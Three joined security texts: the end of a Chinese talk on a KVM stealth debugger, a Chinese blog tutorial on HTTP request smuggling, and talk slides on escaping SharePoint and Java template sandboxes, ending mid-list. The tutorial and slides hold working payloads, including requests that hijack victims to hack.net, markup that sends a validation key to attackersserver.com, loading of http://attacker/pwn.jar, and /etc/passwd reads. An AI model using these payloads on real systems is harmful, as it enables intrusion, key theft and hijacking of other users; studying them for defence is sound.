做数据断点。硬件断点十分强大,但缺点
是只有四个,同时也比较容易被检测
硬件检测实例
此例子循环读取变量并打印,如果我们在
调试时给global_var下硬件读写断点,调
试器会将global_var的地址写入Dr0,程
序通过GetThreadContext检测到Dr0中存
在有效地址,命中硬件断点检测逻辑,进
入异常流程,弹窗并退出
如何隐藏硬件断点?
隐藏硬件断点
从右图可以看到隐藏硬件断点跟
隐藏软件断点原理基本类似,差
别在于不需要patch内存,以读
写断点为例,只需要去掉页面
RW权限。在命中时根据当前线
程、断点进行匹配,匹配成功后
kvm会向guest注入#DB,x86硬
件断点只有4个,用了我们这种
模拟实现,可支持“无限硬断”
注入#DB的实现比较简单,直接
调用kvm现有的中断注入函数即
可
如何获取guest当前线程?
kvm中获取guest当前线程
Guest里面如何获取当前线程?
1、kvm中直接执行这段代码?
2、gsbase + kvm_read_guest_virt?
直观能想到的获取方法
为什么需要修正?修正后为什么还是读取失败?
以上是windows x64内核获取当
前线程的代码,可以看到实现非
常简单,直接获取的gs:188h
•
显然不行,gs不是guest的,并且cr3已经
切换到host,guest内存空间不可直接访问
•
gsbase虽然是vmexit时guest的gs,但测
试发现它不正确,需要修正
•
修正后我们再用kvm_read_guest_virt去读
取,发现依旧读取失败
失败原因分析
经过研究发现,我们模拟的硬件断点触发
vmexit的时机是R3,此时的gs指向teb,
只有在R0时,gs才会指向kpcr,
KeGetCurrentThread才能正确索引
如左图,KiSystemCall64Shadow是系统
调用入口函数,可以看到第一条执行的就
是swapgs,这个指令研究过cpu投机执行
的应该不陌生,根据intel手册它会将
GS.base=MSR.C0000102H(IA32_KERNE
L_GS_BASE)
因此我们只需要在kvm中获取
MSR.C0000102就能得到正确的gsbase,
获取msr有现成的函数vmx_get_msr
kvm_read_guest_virt失败的原因类似,
当vcpu.cpl=3时,会导致这个函数鉴权失
败,我们需要用更底层的函数来绕过
隐藏硬件断点视频演示
内核级trace
插桩实现指令trace
左图是基于intel pin二进制插桩,实现的trace工
具,它可以trace出ls程序执行的指令序列
实际的指令trace信息会比图中更全面,在脱壳、
去vmp虚拟化、二进制分析等场景都能用到
但是intel pin等常见的二进制插桩工具目前都不
支持内核态,我们如何借助硬件虚拟化来实现内
核态trace?
内核级trace
xxx.sys
加载回调
emulator
单步
去除代码段
X权限
entry
trace log
插桩
也有一些其他生成内核级trace的方法,比如在调
试器中生成,纯QEMU模拟生成,对比它们,我
们使用EPT+模拟器软硬结合的方法,性能消耗更
小,噪音更小,更不容易被对抗
整体思路还是真实执行+模拟执行,左边是我们
将一个驱动程序xxx.sys生成trace的全过程
总结
总结
我们介绍了如何基于硬件虚拟化特性,配合模拟器,实现无影子页ept hook,解决了传统方法存
在的问题。同时介绍了如何基于qemu\kvm快速打造虚拟化调试器、内核级trace工具
Q/A
欢迎添加我的微信进一步交流!
程聪
ID:
kingofmycc
昵称:
Ae0LuS | pdf |
Blog
HTTP请求走私
2020-07-22 · Web漏洞
聊HTTP请求走私之前,需要先思考一个问题:HTTP请求如何标识一个请求的结束(尤其是POST请求)
一种是通过 Content-Length 请求头 的值界定请求体的长度,另一种是在分块传输时,通过 Transfer-
Encoding: chunked 请求头与请求体最后一行的 0\r\n\r\n 来标识该请求的结束(不计入请求体长度)
按照HTTP/1.1规范标准,这两种请求头同时存在时应该忽略 Content-Length 而以分块传输为准,但是对于
反代链中的多个服务器而言,可能有些并不支持分块传输请求头、有些对于标准规范的实现并未足够精细,
在处理一些畸形请求头时会有非预期的效果。
HTTP请求走私漏洞正是由于前后端服务器界定标准不一致导致的,利用HTTP请求走私使得 一次攻击 在前端
服务器识别为 一个请求 ,但传送到后端服务器时其误认为这是用了pipelining,而将其识别为 两个不同的请求 。
更深入的细节原理,涉及到反代和后端对于消息的处理机制,这部分现在还不懂,以后懂了再单独分析
CL-TE
0. 前端读取 CL 值为50,会将这一整段视为一个请求转发至后端( 0 及之后的部分会被认作是该请求的
请求体内容)
首页 分类 标签
为了方便表述,接下来均将用于反向代理的服务器称为前端,隐藏在反代服务器之后用于提供具体业
务的服务器称为后端。用 CL-TE 表示前端以 Content-Length 作为请求结束界定标准、 TE-CL 表示
前端以 Transfer-Encoding 作为请求结束界定标准。
1
2
3
4
5
6
7
8
9
10
11
12
POST /search HTTP/1.1
Host: xxx.net
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
q=something
0
GET /404 HTTP/1.1
X-Ignore: eat
HTTP
1. 后端接收时以 TE 作为界定标准,将 0\r\n\r\n 视为一个请求的结束,将后续部分视作下一个传输过
来的请求
2. 由于我们构造的后面这个请求的包结构并不完整,所以后端认为这份数据还没有接收完毕,会继续将随
后到来的请求拼接进去
3. 注意 CL 取值为50时,是截止到最后一行的最后一个字母 t 的,也就是说 t 后面并不存在 \r\n 这
对回车换行符,那么后端随后紧接而来的请求实际上会被拼接成这种样子:
这就导致了后续对 /search 的访问,因为请求行被吃进了 X-Ignore 这个请求头的值中,拼接后实际变成
了对 /404 的访问。
从理论上来说,我们可以发出请求走私攻击包后,紧接着发送一个正常请求,根据后者不正常的响应差异来
判断漏洞存在。
在实战中我们的攻击请求和紧接着发送的正常请求之间,很可能会有其他人的某个请求刚好插在了中间,这
样我们本来期待用于判断漏洞的不正常响应就会被回复给别人,影响别人正常使用的同时还会导致我们误以
为没洞,所以最好避开高峰期多试几次。
或者基于响应时间来判断
TE-CL
1
2
3
4
5
6
7
8
GET /404 HTTP/1.1
X-Ignore: eatPOST /search HTTP/1.1
Host: xxx.net
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=something
Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /search HTTP/1.1
Host: xxx.net
...
Content-Type: application/x-www-form-urlencoded
Content-length: 13
Transfer-Encoding: chunked
q=something
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
HTTP
0. 前端以 TE 作为界定标准,会将这一整段视为一个请求转发至后端( q=something 及之后的部分会被
认作是该请求的请求体内容)
1. 前端读取 CL 值为13,认为第一个请求截止到 q=something ,将后续部分视作下一个传输过来的请求
2. 由于我们构造的后面这个请求的 CL 值为15,所以后端认为这份数据还没有接收完毕,会继续在随后
到来的请求中取出5个字符拼接进去
3. 后端随后紧接而来的请求实际上会被拼接成这种样子:
于是就使得后续请求被截断,剩下的不完整部分会被视为无效请求丢弃,最终会得到一个不正常的响应。
(同样存在前文中说的竞争问题,缓解方法一样)
TE-TE型利用畸形请求头绕过
从原理来看前后端标准一致时是不存在请求走私的,但如果一个接受畸形 TE 认为是分块传输,一个不接受
畸形 TE 而按照 CL 的值作为请求结束界定标准,这种细微差异同样会导致请求走私,PortSwigger 提供了
部分在实战中成功利用过的畸形头:
1
2
3
4
5
6
7
8
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
POST[空格]
HTTP
1
Transfer-Encoding: xchunked
HTTP
1
Transfer-Encoding : chunked
Code
1
2
Transfer-Encoding: chunked
Transfer-Encoding: x
HTTP
1
Transfer-Encoding:[tab]chunked
HTTP
1
2
GET / HTTP/1.1
Transfer-Encoding: chunked
Code
在Burp插件中存在更多畸形 TE 头用于Fuzz,可以自动计算 CL 长度和配合 Turbo Intruder 光速发
包,真香
利用畸形 TE 导致的差异化解析,最终还是会对应 CL-TE 或 TE-CL 的情况,就不再贴数据包了(就是改一
下 TE 头)。
攻击场景
最直接的就是用来绕过前端的安全访问控制,让走私的请求直达业务逻辑后端。但是实战中可能没有这么理
想化,比如后端还是会校验 client-ip 、 x-forwarded_for 或是反代加的自定义请求头,这时就需要找到
一个能够回显请求体参数的地方,利用请求走私中的第二个 不完整 请求吃掉紧接而来的下一个请求,通过直
接或间接的回显读到需要的请求头。
比如在一个搜索功能中,POST请求的 q 参数的内容表示搜索的字符串,这个字符串在搜索页会被 直接回显
或是存储到搜索记录中 间接回显 。
重点注意第二个走私请求中 CL 值被设置得偏大,且有回显的 q 参数被移到了末尾,后端随后紧接而来的
请求实际上会被拼接成这种样子:
1
X: X[\n]Transfer-Encoding: chunked
HTTP
1
2
Transfer-Encoding
: chunked
Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /search HTTP/1.1
Host: xxx.net
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
a=x&b=y&c=z&q=something
Code
1
2
3
POST /search HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Code
... 中有多少内容取决于走私请求中 CL 值的大小,建议根据需要慢慢调大,避免过大导致超时(在这个例
子中我们已经读到了需要的 X-Secret-Header: 666 这个前端服务器自定义校验头),但是调大 CL 值能读
到的东西最多截止到遇到 & 时(想想HTTP请求用什么符号区分不同参数?我们能回显什么参数?)
至于这个 随后紧接而来的请求 该由我们发出,还是守株待兔等着别人的访问请求进坑,就要看具体的目的是什
么了。
窃取Cookie
如果是想要打到别人的私有请求头(比如 Cookie 之类的),那就得等人进坑且需要一个存储型的间接回显
点,因为一次性的直接回显会直接响应给受害者,我们是看不到的。
存储型间接回显点举例:搜索记录、个人简介、发布文章、发布评论、发送私信
水坑型XSS
如果实在没有存储型间接回显点的话,那就充分利用一次性直接回显这个特点,配合一个反射型XSS使其变
为无条件触发的 水坑型XSS (我自己编的名)
反射型XSS漏洞点可以是常规的GET或POST参数,同样也可以是像 User-Agent 头这种self触发点,因
为结合请求走私我们可以实现将它强加给下一个访问的受害者
任意重定向
如果配合 Apache 和 IIS 会将无斜杠路径通过重定向方式添加斜杠的特性,就可以再次利用请求走私给下
一个访问的受害者强加头部,通过重定向将其劫持到任意域名下。
4
5
6
7
8
9
10
Content-Length: 100
Connection: close
a=x&b=y&c=z&q=somethingPOST /search HTTP/1.1
Host: xx.net
X-Secret-Header: 666
...
1
2
3
4
5
6
7
8
9
10
11
12
POST /search HTTP/1.1
Host: xxx.net
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked
0
GET /evil HTTP/1.1
Host: hack.net
X-Ignore: eat
HTTP
下一个受害者的访问请求会被拼接成这种样子:
Web缓存投毒
同时,对于 /a.js 的访问请求还可能被缓存下来,使得之后每个不受请求走私影响的后续请求,同样受到
重定向劫持的影响,进一步造成Web缓存投毒:
Web缓存水坑
回过头来,之前没找到回显点打敏感数据的话,也可以再再次利用请求走私给下一个访问的受害者强加头
部,结合Web缓存特性将其敏感数据缓存下来窃取。
下一个受害者的访问请求会被拼接成这种样子:
1
2
3
4
5
6
7
8
9
GET /evil HTTP/1.1
Host: hack.net
X-Ignore: eatPOST /a.js HTTP/1.1
Host: xxx.net
...
HTTP/1.1 301 Moved Permanently
Location: https://hack.net/evil/
HTTP
1
2
3
4
5
6
7
POST /a.js HTTP/1.1
Host: xxx.net
...
HTTP/1.1 301 Moved Permanently
Location: https://hack.net/evil/
HTTP
1
2
3
4
5
6
7
8
9
10
11
POST /search HTTP/1.1
Host: xxx.net
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Transfer-Encoding: chunked
0
GET /getapikey HTTP/1.1
X-Ignore: eat
HTTP
1
GET /getapikey HTTP/1.1
Code
命令注入与无回显解决方案
受害者的 /getapikey 中的信息会被缓存至 /any.js 中,但是一个问题是攻击者并不知道受害者是访问的
/any.js ,所以可能需要遍历几乎所有静态文件分析= =
原文作者: hosch3n
原文链接:
https://hosch3n.github.io/2020/07/22/HTTP%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/
许可协议: 知识共享署名-非商业性使用 4.0 国际许可协议
#请求走私
由 Hexo 强力驱动 | 主题 - Even
©2020 hosch3n
2
3
4
5
X-Ignore: eatPOST /any.js HTTP/1.1
Host: xxx.net
Cookie: sessionId=balabalabala
...
| pdf |
Room for Escape:
Scribbling Outside the
Lines of Template Security
1
Alvaro Muñoz @pwntester
Staff Security Researcher
Oleksandr Mirosh @olekmirosh
Security Researcher
2
Content Management Systems (CMS)
●
A CMS is an application that is used to manage
web content
●
Allows multiple contributors to create, edit and
publish.
●
Content is typically stored in a database and
displayed in a presentation layer based on a
set of templates.
●
Templates normally support a subset of
programming language capabilities so they are
normally sandboxed
3
Our Research
●
What:
○
.NET and Java based CMSs
●
Assumption:
○
We can control Templates
●
Goal:
○
Escape Template sandboxes
4
Agenda
1.
Introduction
2.
.NET (SharePoint)
○
Introduction to SharePoint ASPX pages
○
Safe Mode
○
Breaking out of Safe Mode
○
Demo
3.
Java
○
Engines and CMSs
○
Generic (object-based) Bypasses
○
Specific Engine Bypasses
4.
Conclusions
5
SharePoint
6
Site Pages
○
A.K.A. user-defined pages
○
play role of “templates” for
rendering dynamic content
○
stored in content database
○
can be customized by regular users
○
processed in safe mode
Application Pages
○
A.K.A. system pages
○
implement server-side logic
○
stored on file system
○
cannot be changed by regular users
○
processed as regular unrestricted
ASPX files
VS
SharePoint ASPX Pages
7
SPVirtualPathProvider
SystemPage.aspx
UserPage.aspx
safe mode
SPPageParserFilter
Content DB
normal mode
File System
8
SharePoint ASPX Pages
<%@ Page %>
<%@ Import Namespace="System" %>
<script runat="server">
public string ServerSideFunction()
{
return "Hello World";
}
</script>
<% Lb1.Text = "Hello, world!"; %>
<html>
<body>
<asp:Label runat="server" id="Lb1" />
<asp:Label runat="server" id="Lb2"
Text="<%# ServerSideFunction%>" />
<%-- server-side comments --%>
<!-- #include virtual ="/myapp/footer.inc" -->
</body>
</html>
directive
attribute in directive
server-side code block
embedded server-side code
server-side control
data-binding expression
server-side comment
server-side include directive
9
SharePoint ASPX Pages
Safe Mode for Site Pages
●
Compilation: NO (CompilationMode = “Never”)
●
Server-Side Code: NO
●
Server-Side Includes from File System: NO
●
Web Controls: ONLY from AllowList (SafeControls elements in web.config)
●
ASPX Directives: ONLY from AllowList
●
Attributes for most of ASPX Directives: ONLY from AllowList
●
Many other potentially dangerous elements are blocked
10
SharePoint ASPX Pages
Is there any place where SPPageParserFilter is not used?
●
YES!
○
TemplateControl.ParseControl(content);
○
TemplateControl.ParseControl(content, true);
○
Filter is used at rendering time but not at design time.
11
SharePoint ASPX Pages
Is there any place where SPPageParserFilter is not used?
●
YES!
○
TemplateControl.ParseControl(content);
○
TemplateControl.ParseControl(content, true);
○
Filter is used at rendering time but not at design time.
●
BUT!
○
EditingPageParser.VerifyControlOnSafeList() method is used for content
verification for all such places in SharePoint server
○
ParseControl() method never causes compilation
■
No server-side code or other attacks that require compilation
■
Only attacks with dangerous controls or directives are relevant
12
SharePoint ASPX Pages
●
Unsafe Web Controls Vector 1:
○
invocation of public method from arbitrary Type
ObjectDataSource:
<asp:ObjectDataSource SelectMethod="Start" TypeName="System.Diagnostics.Process"
ID="DataSource1" runat="server" >
<SelectParameters>
<asp:Parameter Name="fileName" DefaultValue="calc"/>
</SelectParameters>
</asp:ObjectDataSource>
<asp:ListBox DataSourceID = "DataSource1" ID="LB1" runat="server" />
13
Post-escape vectors
●
Unsafe Web Controls Vector 2:
○
reading arbitrary XML file
■
XmlDataSource with DataFile attribute
■
Xml with DocumentSource attribute
●
ASPX Server-Side Include (SSI) directive
○
reading arbitrary text file
or
<!--#include file="c:/inetpub/wwwroot/wss/virtualdirectories/80/web.config"-->
<asp:XmlDataSource id="DataSource1" DataFile="/web.config" runat="server"
XPath="/configuration/system.web/machineKey" />
<asp:Xml runat="server" id="xml1" DocumentSource="/web.config"/>
<!--#include virtual="/web.config"-->
14
Post-escape vectors
Arbitrary File Access to Remote Code Execution
●
Unsafe Deserialization by ViewState
○
value of ValidationKey is required
■
can be found in MachineKey section from web.config file
■
can be present in internal SharePoint properties
●
YSoSerial.Net tool can be used for payload generation
https://github.com/pwntester/ysoserial.net
15
Post-escape vectors
Breaking out
of Safe Mode
16
●
Target:
○
Leak sensitive information
●
Where to search:
○
Files
○
Logs
○
DB tables
○
Process Memory
17
1/5 Access to sensitive server resources
CVE-2020-0974: Unsafe SSI in SharePoint
Details
●
EditingPageParser.VerifyControlOnSafeList() with blockServerSideIncludes =
false during validation of ASPX markup:
●
webPartXml parameter in RenderWebPartForEdit method of the Web Part Pages
service is processed in Design mode
// Microsoft.SharePoint.ServerWebApplication
bool IServerWebApplication.CheckMarkupForSafeControls(string Markup,
RegisterDirectiveManager regDirManager) {
...
EditingPageParser.VerifyControlOnSafeList(Markup, regDirManager, this._spWeb, false);
...
18
1/5 Access to sensitive server resources
CVE-2020-0974: Unsafe SSI in SharePoint
Exploitation
●
Payload:
●
Vulnerable WebAPI endpoint:
○
http://<Site>/_vti_bin/WebPartPages.asmx
●
Result:
○
Content of web.config file with ValidationKey
○
Arbitrary code execution by Unsafe Deserialization (ViewState)
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage"
Assembly="Microsoft.SharePoint, Version = 16.0.0.0, Culture = neutral,
PublicKeyToken = 71e9bce111e9429c" %>
<WebPartPages:DataFormWebPart runat="server" Title="T" DisplayName="N" ID="id1">
<xsl>
<!--#include file="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config"-->
</xsl> </WebPartPages:DataFormWebPart>
19
1/5 Access to sensitive server resources
●
Target:
○
Find allowed elements with
potentially dangerous behavior
●
Where to search:
○
List of allowed elements
20
2/5 Abusing not-so-safe items from Allowlist
CVE-2020-1147: Unsafe deserialization in control from SafeControl list
Details
●
Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView
●
XmlSerializer with controlled Type in DataSet.ReadXml()
○
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
// Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView
protected void PopulateDataSetFromCache(DataSet ds) {
string value = SPRequestParameterUtility.GetValue<string>(this.Page.Request,
"__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
using (XmlTextReader xmlTextReader = new XmlTextReader(new
System.IO.StringReader(value)))
ds.ReadXml(xmlTextReader);
21
2/5 Abusing not-so-safe items from Allowlist
CVE-2020-1147: Unsafe deserialization in control from SafeControl list
Exploitation
●
ASPX page:
●
Result:
○
Arbitrary code execution by unsafe deserialization
<%@ Page Language="C#" %>
<%@ Register tagprefix="mst" namespace="Microsoft.SharePoint.Portal.WebControls"
assembly="Microsoft.SharePoint.Portal, Version=16.0.0.0, Culture=neutral,
PublicKeyToken=71e9bce111e9429c" %>
<form id="form1" runat="server">
<mst:ContactLinksSuggestionsMicroView id="CLSMW1" runat="server" />
<asp:TextBox ID="__SUGGESTIONSCACHE__" runat="server"></asp:TextBox>
<asp:Button ID="Button1" runat="server" Text="Submit" />
</form>
22
2/5 Abusing not-so-safe items from Allowlist
●
Target:
○
Write/Read sensitive
configuration parameters
○
Write/Read sensitive information
in server/application internals
●
Where to search:
○
Anywhere user can specify
names of properties or attributes
for read or write access
23
3/5 Abusing nested properties/attributes
●
One level of properties/attributes is supported
Examples:
○
AllowList
■
can be relatively easy to verify
■
can be considered as safe after proper verification of AllowList elements
○
BlockList
■
difficult to verify
■
potential ways for bypassing
●
Nested properties/attributes are supported
Examples:
○
Often only “starting point” is verified
○
often only “starting point” is verified
○
should not be considered as safe in this case
user.name, Menu.SelectedValue
request.authuser.name, Menu.SelectedItem.Text
24
3/5 Abusing nested properties/attributes
●
One level of properties/attributes is supported
Examples:
○
AllowList
■
can be relatively easy to verify
■
can be considered as safe after proper verification of AllowList elements
○
BlockList
■
difficult to verify
■
potential ways for bypassing
●
Nested properties/attributes are supported
Examples:
○
Often only “starting point” is verified
○
Should not be considered as safe in this case
○
It is not a tree! It is a network!
ft
l “ t
ti
i t” i
ifi d
Menu.Page.ModelBindingExecutionContext.HttpContext.ApplicationInstance
user.name, Menu.SelectedValue
request.authuser.name, Menu.SelectedItem.Text
25
3/5 Abusing nested properties/attributes
CVE-2020-1069: Abusing write access to nested properties in SharePoint
Details
●
allowed control WikiContentWebpart passes user input into ParseControl()
●
VirtualPath is defined from Page.AppRelativeVirtualPath
●
SPPageParserFilter applies Safe Mode based on this VirtualPath
○
If we change Page.AppRelativeVirtualPath to the path of one of the Application Pages, Safe Mode
will be disabled!
// System.Web.UI.TemplateControl
public Control ParseControl(string content, bool ignoreParserFilter) {
return TemplateParser.ParseControl(content,
VirtualPath.Create(this.AppRelativeVirtualPath), ignoreParserFilter); }
// Microsoft.SharePoint.WebPartPages.WikiContentWebpart
protected override void CreateChildControls() {...
Control obj = this.Page.ParseControl(this.Directive + this.Content, false);
26
3/5 Abusing nested properties/attributes
CVE-2020-1069: Abusing write access to nested properties in SharePoint
Exploitation
●
New value for Page.AppRelativeVirtualPath :
●
BUT Page property is not assigned yet
●
Solution: we can delay assignment by Data Binding:
<WebPartPages:WikiContentWebpart id="Wiki01" runat="server"
Page-AppRelativeVirtualPath="newvalue">
<content>Unsafe ASPX markup</content>
</WebPartPages:WikiContentWebpart>
<WebPartPages:WikiContentWebpart id="Wiki01" runat="server"
Page-AppRelativeVirtualPath='<%# Eval("SomePropertyfromBindCtx") %>'>
<content>Unsafe ASPX markup</content>
</WebPartPages:WikiContentWebpart>
27
3/5 Abusing nested properties/attributes
CVE-2020-1069: Abusing write access to nested properties in SharePoint
Exploitation
●
Payload:
●
Result:
○
Arbitrary code execution
<asp:menu id="NavMenu1" runat="server">
<StaticItemTemplate>
<WebPartPages:WikiContentWebpart id="WikiWP1" runat="server"
Page-AppRelativeVirtualPath='<%# Eval("ToolTip") %>'> <content>
<asp:ObjectDataSource ID="DS1" runat="server" SelectMethod="Start"
TypeName="system.diagnostics.process" >
<SelectParameters> <asp:Parameter Direction="input" Type="string" Name="fileName"
DefaultValue="calc"/></SelectParameters></asp:ObjectDataSource>
<asp:ListBox ID="LB1" runat="server" DataSourceID = "DS1" />
</content></WebPartPages:WikiContentWebpart>
</StaticItemTemplate>
<items><asp:menuitem text="MI1" ToolTip="/_layouts/15/settings.aspx"/></items></asp:menu>
28
3/5 Abusing nested properties/attributes
SharePoint
DEMO
(CVE-2020-1069)
CVE-2020-1103: Abusing read access to nested properties in SharePoint
Details
●
ControlParameter
○
binds value of public property from a different Control to SelectParameter
○
supports nested properties
●
XmlUrlDataSource
○
sends values of SelectParameters to attacker controlled server
30
3/5 Abusing nested properties/attributes
CVE-2020-1103: Abusing read access to nested properties in SharePoint
Details
●
SharePoint Online servers use unattended configuration and configuration
parameters include value of ValidationKey
●
Configuration parameters will be stored in SPFarm.InitializationSettings
●
Access ValidationKey value from allowed TemplateContainer control
this.Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]
31
3/5 Abusing nested properties/attributes
CVE-2020-1103: Abusing read access to nested properties in SharePoint
Exploitation
●
Payload:
●
Result:
○
value of ValidationKey
○
Arbitrary code execution by Unsafe Deserialization (ViewState)
<%@ Page Language="C#" %>
<SharePoint:TemplateContainer ID="tc01" runat="server" />
<SharePoint:XmlUrlDataSource runat="server" HttpMethod="GET"
SelectCommand="http://attackersserver.com/LogRequests.php" id="DS1">
<SelectParameters> <asp:controlparameter controlid="tc01"
PropertyName="Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]"
name="MachineValidationKey" />
</SelectParameters> </SharePoint:XmlUrlDataSource>
<form id="form1" runat="server"> <asp:ListBox ID="ListBox1" runat="server"
DataSourceID = "DS1" /> </form>
32
3/5 Abusing nested properties/attributes
●
Target:
○
Unsafe object instantiation
●
What to search for:
○
Deserializers
○
JSON unmarshallers
○
TypeConverters
○
Custom converters
●
Where to search:
○
Anywhere text or binary data is converted to an object
○
… and Type/Class of this object is under our control
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
33
4/5 Security problems during conversion
of values to expected Types
CVE-2020-1460:________________________________________
●
Problem affects a few Microsoft products
●
Microsoft was not able to release fixes for all affected products
●
Details will be published as soon as the problem is fixed in all products
●
Result:
○
Arbitrary code execution
34
4/5 Security problems during conversion
of values to expected Types
●
Target:
○
Security control/filters bypass via
TOCTOU
●
Where to search:
○
Anywhere input value can be
changed AFTER validation
Input
Security Check
Modification
Use
Input
Input
35
5/5 Time-of-check to time-of-use problems
CVE-2020-1444: TOCTOU in WebPartEditingSurface.aspx page
Details
●
Input validated by EditingPageParser.VerifyControlOnSafeList()
●
but after verification, we are able to remove certain substrings:
// Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePage
internal static Regex tagPrefixRegex = new Regex("<%@ *Register
*TagPrefix=\"(?'TagPrefix'[^\"]*)\"(?'DllInfo'.*)%>", 9);
private static XElement ConvertMarkupToTree(string webPartMarkup)
{...
MatchCollection matchCollection =
WebPartEditingSurfacePage.tagPrefixRegex.Matches(webPartMarkup);
foreach (Match match in matchCollection)
{
webPartMarkup = webPartMarkup.Replace(match.Value, "");
...
36
5/5 Time-of-check to time-of-use problems
CVE-2020-1444: TOCTOU in WebPartEditingSurface.aspx page
Exploitation
●
1 comment block for EditingPageParser.VerifyControlOnSafeList():
●
BUT 2 comments + ASPX markup for TemplateControl.ParseControl(content):
<%-- prefix --%<%@ Register TagPrefix="asp"
Namespace="System.Web.UI.WebControls" Assembly="System.Web,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>>
<unsafe ASPX markup>
<%-- sufix --%>
<%-- prefix --%>
<unsafe ASPX markup>
<%-- sufix --%>
37
5/5 Time-of-check to time-of-use problems
CVE-2020-1444: TOCTOU in WebPartEditingSurface.aspx page
Exploitation
●
Payload:
●
Result:
○
Arbitrary code execution
<div id="cdataExample"><![CDATA[ <%-- prefix --%<%@ Register TagPrefix="asp"
Namespace="System.Web.UI.WebControls" Assembly="System.Web, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>>
<asp3:ObjectDataSource ID="ODS1" runat="server" SelectMethod="Start"
TypeName="System.Diagnostics.Process" >
<SelectParameters>
<asp3:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="calc"/>
</SelectParameters>
</asp3:ObjectDataSource> <asp3:ListBox ID="LB1" runat="server" DataSourceID = "ODS1" />
<%-- sufix --%> ]]></div>
38
5/5 Time-of-check to time-of-use problems
Java Template
Engines
39
Pebble
JinJava
Velocity
FreeMarker
Khoros
Alfresco
Crafter
Liferay
Ofbiz
XWiki
dotCMS
Cascade
Confluence
HubSpot
Sandboxed
Java Template Engines
Java CMS-like systems
40
Hello $user.name!
Template Engine
Hello John!
Key
Value
user
acme.User
Context
Template
41
Hello $user.name!
Template Engine
Hello John!
Template
42
Key
Value
user
acme.User
Context
request
response
application
session
...
ServletRequest
ServletResponse
ServletContext
HttpSession
...
Generic Sandbox
Bypasses
43
Context Inspection
●
Access to Runtime?
○
Debug
○
Instrumentation
●
Otherwise
○
Documentation | name guessing
○
List context objects
Indirect Objects
●
javax.servlet.http.HttpSession.getAttributeNames()
○
$session | $request.session
●
javax.servlet.http.ServletRequest.getAttributeNames()
○
$req | $request | $session.request
●
javax.servlet.ServletContext.getAttributeNames()
○
$application | $request.servletContext | $session.servletContext
44
Object Dumpster
Diving
DEMO
46
Where
●
java.lang.Class.getClassLoader()
●
java.lang.Thread.getCurrentClassLoader()
●
java.lang.ProtectionDomain.getClassLoader()
●
javax.servlet.ServletContext.getClassLoader()
●
org.osgi.framework.wiring.BundleWiring.getClassLoader()
●
org.springframework.context.ApplicationContext.getClassLoader()
What
●
Arbitrary Class and Classpath Resource access
●
Arbitrary Local file disclosure through java.net.URL access
#1 ClassLoaders
<#assign uri = classLoader.getResource("META-INF").toURI() >
<#assign url = uri.resolve("file:///etc/passwd").toURL() >
<#assign bytes = url.openConnection().getInputStream().readAllBytes() >
10/10
47
Web Application ClassLoaders
Tomcat
org.apache.catalina.loader.WebappClassLoader
Jetty
org.eclipse.jetty.webapp.WebAppClassLoader
GlassFish
org.glassfish.web.loader.WebappClassLoader
WildFly (JBoss)
org.jboss.modules.ModuleClassLoader
WebSphere
com.ibm.ws.classloader.CompoundClassLoader
WebLogic
weblogic.utils.classloaders.ChangeAwareClassLoader
9/10
48
Remote Code Execution Vectors on Web Application ClassLoaders:
●
WebShell upload
○
getResources().write(⋯) Tomcat
●
Arbitrary object instantiation
○
getResources().getContext().getInstanceManager() Tomcat
○
getContext().getObjectFactory() Jetty
●
JNDI lookup
○
getResources().lookup(⋯) GlassFish
●
Attacker-controlled static class initializer
○
defineCodeGenClass(⋯) Weblogic
●
Attacker-controlled static class initializer (FreeMarker & Pebble only)
○
newInstance(“http://attacker/pwn.jar”).loadClass(“Pwner”).getField(“PWN”).get(null)
■
Tomcat, Jetty, GlassFish … or any java.net.URLClassLoader
○
defineApplicationClass(⋯).getField(⋯).get(null) WebSphere
9/10
49
Where
●
ServletContext attributes on Tomcat, Jetty, WildFly (JBoss)
●
org.apache.catalina.InstanceManager
●
org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManager
●
org.eclipse.jetty.util.DecoratedObjectFactory
●
WebApp Classloaders
○
Tomcat
○
Jetty
What
●
Arbitrary Object Instantiation ➔ RCE. Eg:
#2 InstanceManager / ObjectFactory
${im.newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval('CODE')}
$request.servletContext.classLoader.resources.context.instanceManager
$request.servletContext.classLoader.context.objectFactory
9/10
50
Where
●
ServletContext attribute
○
org.springframework.web.context.WebApplicationContext.ROOT
●
Spring Macro Request Context
○
Injected by Spring MVC automatically (normally undocumented in CMS)
○
$springMacroRequestContext.getWebApplicationContext()
What
●
getClassLoader()
●
getEnvironment()
●
getBean()
○
Control application logic
○
Disable sandboxes
○
Instantiate arbitrary objects
#3 Spring Application Context
4/10
51
●
com.fasterxml.jackson.databind.ObjectMapper
●
